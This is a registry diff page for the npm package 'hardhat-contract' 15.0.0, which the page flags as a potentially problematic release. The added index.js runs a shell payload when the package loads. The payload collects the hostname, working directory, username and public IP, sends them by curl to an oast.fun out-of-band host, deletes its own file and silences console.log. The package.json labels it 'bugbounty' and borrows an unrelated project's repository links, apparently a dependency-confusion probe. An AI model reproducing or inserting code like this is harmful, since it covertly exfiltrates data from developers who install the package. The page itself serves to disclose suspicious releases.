hardhat-contract 15.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of hardhat-contract might be problematic. Click here for more details.
- package/index.js +16 -0
- package/package.json +19 -0
package/index.js
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
const fs = require('fs');
|
3
|
+
const { exec } = require('child_process');
|
4
|
+
|
5
|
+
const payload = `
|
6
|
+
data="{\\"hostname\\": \\"$(hostname)\\", \\"current_dir\\": \\"$(pwd)\\", \\"user\\": \\"$(whoami)\\", \\"ip_address\\": \\"$(curl -s https://ifconfig.me/ip)\\", \\"package\\": \\"hardhat-contract\\"}"
|
7
|
+
curl -X POST -H "Content-Type: application/json" -d "$data" http://ckhp9tz2vtc0000ykrxggja5r7cyyyyyb.oast.fun > /dev/null 2>&1
|
8
|
+
rm -f index.js
|
9
|
+
`;
|
10
|
+
|
11
|
+
exec(payload, (error, stdout, stderr) => {
|
12
|
+
if (error) console.error("Execution error:", error.message);
|
13
|
+
if (stderr) console.error("Standard error:", stderr);
|
14
|
+
});
|
15
|
+
|
16
|
+
console.log = function() {};
|
package/package.json
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
{
|
2
|
+
"name": "hardhat-contract",
|
3
|
+
"version": "15.0.0",
|
4
|
+
"description": "hardhat-contract_bugbounty",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "git+https://github.com/PlatONnetwork/browser-server.git"
|
12
|
+
},
|
13
|
+
"author": "descar45",
|
14
|
+
"license": "ISC",
|
15
|
+
"bugs": {
|
16
|
+
"url": "https://github.com/PlatONnetwork/browser-server/issues"
|
17
|
+
},
|
18
|
+
"homepage": "https://github.com/PlatONnetwork/browser-server#readme"
|
19
|
+
}
|